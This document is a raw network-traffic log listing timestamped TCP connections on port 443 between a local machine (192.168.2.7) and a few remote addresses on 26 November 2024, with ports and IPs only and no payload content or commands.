Nov 26, 2024 13:44:34.435651064 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.438735962 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.438791990 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.438915014 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.438932896 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.438942909 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.438947916 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.444572926 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.444614887 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.444838047 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.444838047 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.444876909 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.518800020 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.519552946 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.519561052 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.520040035 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.520044088 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.582528114 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.583030939 CET	49942	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.583050013 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.583564997 CET	49942	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.583573103 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.758317947 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.759134054 CET	49943	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.759144068 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.759618998 CET	49943	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.759624004 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.839699984 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.842407942 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.842432022 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.842875004 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.842879057 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.964173079 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.964232922 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.964288950 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.964515924 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.964528084 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.964540005 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.964545012 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.970805883 CET	49947	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.970833063 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:34.970901012 CET	49947	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.971271038 CET	49947	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:34.971282005 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.059362888 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.059650898 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.059715033 CET	49942	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.060012102 CET	49942	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.060035944 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.066395044 CET	49948	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.066402912 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.066472054 CET	49948	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.066929102 CET	49948	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.066939116 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.136231899 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.137393951 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.137407064 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.142100096 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.142170906 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.142507076 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.142668009 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.142673016 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.142709017 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.208072901 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.211155891 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.211204052 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.211261034 CET	49943	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.211468935 CET	49943	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.211476088 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.215517998 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.215540886 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.215614080 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.216003895 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.216020107 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.239341021 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.239348888 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.287954092 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.291941881 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.293055058 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.293112993 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.293126106 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.293138027 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.293143034 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.299318075 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.299330950 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.299420118 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.299557924 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:35.299571037 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:35.442543030 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.652961016 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.739419937 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.739434958 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.942888975 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.942903996 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.943948030 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:35.944031954 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:35.944086075 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:36.163152933 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.163897991 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.163918972 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.164380074 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.164386034 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.621354103 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.624186993 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.624238014 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.624299049 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.624316931 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.624353886 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.624371052 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.624382019 CET	49946	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.624393940 CET	443	49946	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.630279064 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.630314112 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.630394936 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.630537033 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.630552053 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.658947945 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.659395933 CET	49948	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.659405947 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.659868002 CET	49948	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.659873009 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.688286066 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.688740969 CET	49947	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.688755989 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:36.689191103 CET	49947	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:36.689194918 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.003252983 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.003748894 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.003765106 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.004209042 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.004216909 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.014102936 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.014420033 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.014446974 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.014820099 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.014827967 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.105057001 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.108077049 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.108158112 CET	49948	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.109133005 CET	49948	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.109144926 CET	443	49948	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.112992048 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.113028049 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.113099098 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.113401890 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.113411903 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.123855114 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.127207041 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.127295971 CET	49947	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.127556086 CET	49947	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.127563953 CET	443	49947	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.130106926 CET	49953	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.130125999 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.130203962 CET	49953	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.130382061 CET	49953	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.130393028 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.451447010 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.454618931 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.454685926 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.454885006 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.454893112 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.454902887 CET	49950	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.454906940 CET	443	49950	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.460319042 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.460355997 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.460441113 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.460690975 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.460704088 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.537681103 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.540817022 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.540882111 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.540961027 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.540971041 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.540981054 CET	49949	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.540985107 CET	443	49949	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.545748949 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.545773983 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:37.545826912 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.546072960 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:37.546086073 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.349199057 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.353830099 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.353843927 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.354356050 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.354360104 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.784204960 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.787544966 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.789062977 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.796272993 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.796283007 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.796299934 CET	49951	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.796304941 CET	443	49951	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.807153940 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.807207108 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.807296991 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.807465076 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.807473898 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.843252897 CET	443	49925	142.250.181.68	192.168.2.7
Nov 26, 2024 13:44:38.843332052 CET	443	49925	142.250.181.68	192.168.2.7
Nov 26, 2024 13:44:38.843462944 CET	49925	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:44:38.961929083 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.966602087 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.966624022 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.967066050 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.967071056 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.975820065 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.977443933 CET	49953	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.977453947 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:38.977899075 CET	49953	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:38.977902889 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.175606966 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.176404953 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.176423073 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.176978111 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.176983118 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.327353954 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.328111887 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.328129053 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.328605890 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.328609943 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.417052031 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.419784069 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.419897079 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.419960976 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.419960976 CET	49952	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.419976950 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.419986010 CET	443	49952	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.422820091 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.422846079 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.422947884 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.423083067 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.423096895 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.430284977 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.434108019 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.434187889 CET	49953	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.434407949 CET	49953	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.434417009 CET	443	49953	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.438030005 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.438060999 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.438118935 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.438258886 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.438270092 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.725367069 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.725398064 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.725450039 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.725523949 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.725564957 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.726263046 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.726263046 CET	49954	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.726277113 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.726285934 CET	443	49954	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.733270884 CET	49959	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.733297110 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.733361959 CET	49959	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.733789921 CET	49959	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.733803034 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.743242025 CET	49925	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:44:39.743252993 CET	443	49925	142.250.181.68	192.168.2.7
Nov 26, 2024 13:44:39.771958113 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.775290966 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.775360107 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.775507927 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.775518894 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.775557995 CET	49955	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.775563002 CET	443	49955	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.779550076 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.779592037 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:39.779654980 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.779942989 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:39.779958010 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:40.652050018 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:40.652571917 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:40.652601957 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:40.653059959 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:40.653065920 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.109359026 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.112076998 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.112145901 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.112210035 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.112227917 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.112247944 CET	49956	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.112253904 CET	443	49956	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.119899035 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.119930983 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.119998932 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.120397091 CET	49961	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.120410919 CET	443	49961	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.150547981 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.158862114 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.158888102 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.159382105 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.159388065 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.306951046 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.307492018 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.307521105 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.307959080 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.307965994 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.453993082 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.454694033 CET	49959	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.454724073 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.455135107 CET	49959	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.455141068 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.503568888 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.504086971 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.504103899 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.504508972 CET	49960	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.504513979 CET	443	49960	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.586038113 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.586158037 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.586221933 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.586414099 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.586426973 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.586436987 CET	49957	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.586441994 CET	443	49957	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.592354059 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.592402935 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.592468977 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.593084097 CET	49962	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.593097925 CET	443	49962	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.743186951 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.743216991 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.743266106 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.743292093 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.743828058 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.743839979 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.743855000 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.744005919 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.744038105 CET	443	49958	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.744076967 CET	49958	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.747746944 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.747771978 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.747858047 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.748065948 CET	49963	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.748075962 CET	443	49963	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.890655994 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.894134045 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.894176006 CET	443	49959	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:41.894202948 CET	49959	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.894253969 CET	49959	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:41.894567013 CET	49959	443	192.168.2.7	13.107.246.63
